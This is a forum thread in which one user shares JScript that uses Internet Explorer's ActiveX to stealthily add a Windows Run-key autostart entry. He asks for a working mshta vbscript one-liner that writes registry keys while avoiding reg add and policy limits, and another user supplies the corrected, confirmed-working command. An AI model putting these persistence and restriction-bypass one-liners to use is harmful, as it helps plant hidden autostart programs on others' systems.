Command line to write registry keys bypassing any prompt

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hacxx
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Joined: 09 Apr 2015 13:18

Command line to write registry keys bypassing any prompt

#1 Post by hacxx » 20 Sep 2020 18:19

I have this code for years that basically takes advantage of Internet Explorer to prompt the user if it wants to execute a ActiveX Object. This Object stealthly write registry keys to the system.

Code: Select all

<script> var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec); </script>
More about the script here
http://raidcommunity.forumup.it/viewtop ... mmunity#70

Yesterday while reviewing this forum i got the idea to improve the code above and convert to a mshta command line to be execute on cmd.exe. Basically what i was looking for is a way to write registry keys without using reg add and bypassing any windows limited rule.

Here is the code that i wrote but it doesn't work. Can anyone spot the error?

Code: Select all

mshta vbscript:(CreateObject("WScript.Shell").RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc","calc.exe"))(Window.Close)
Thanks

aGerman
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Joined: 22 Jan 2010 18:01
Location: Germany

Re: Command line to write registry keys bypassing any prompt

#2 Post by aGerman » 21 Sep 2020 11:07

At least you have to escape the comma with a caret because it's a separator for arguments in a command line. And I'm pretty sure the double backslashes are wrong in the VBS syntax. I haven't tested though.

Steffen

hacxx
Posts: 46
Joined: 09 Apr 2015 13:18

Re: Command line to write registry keys bypassing any prompt

#3 Post by hacxx » 21 Sep 2020 12:27

The double backslash works in the original code, that's why i was using them. Can you provide with a sample after you test it out.
Thanks

aGerman
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Location: Germany

Re: Command line to write registry keys bypassing any prompt

#4 Post by aGerman » 21 Sep 2020 13:36

The double backslash works in the original code
The original code is JScript. Your recent code is VBScript. They are not the same thing.
Can you provide with a sample ...
What was wrong with my explanation?

Code: Select all

mshta vbscript:(CreateObject("WScript.Shell").RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\calc"^,"calc.exe"))(Window.Close)
... after you test it out.
Testing is your task.

Steffen

hacxx
Posts: 46
Joined: 09 Apr 2015 13:18

Re: Command line to write registry keys bypassing any prompt

#5 Post by hacxx » 22 Sep 2020 04:44

aGerman wrote:
21 Sep 2020 13:36
Testing is your task.
After initial testing, it didn't work. Syntax error on Char 99.
After reviewing the code i tested again and i spot the error you left on purpose :)

More info here:
http://raidcommunity.forumup.it/viewtop ... mmunity#72

aGerman
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Joined: 22 Jan 2010 18:01
Location: Germany

Re: Command line to write registry keys bypassing any prompt

#6 Post by aGerman » 22 Sep 2020 12:13

hacxx wrote:
22 Sep 2020 04:44
After initial testing, it didn't work. Syntax error on Char 99.
After reviewing the code i tested again and i spot the error you left on purpose :)
:?: Tested now and it works out of the box in a cmd shell as well as in a batch file.
FWIW No idea what this should be even good for. A simple REG ADD would have done the job for you, but ... nevermind.

Steffen

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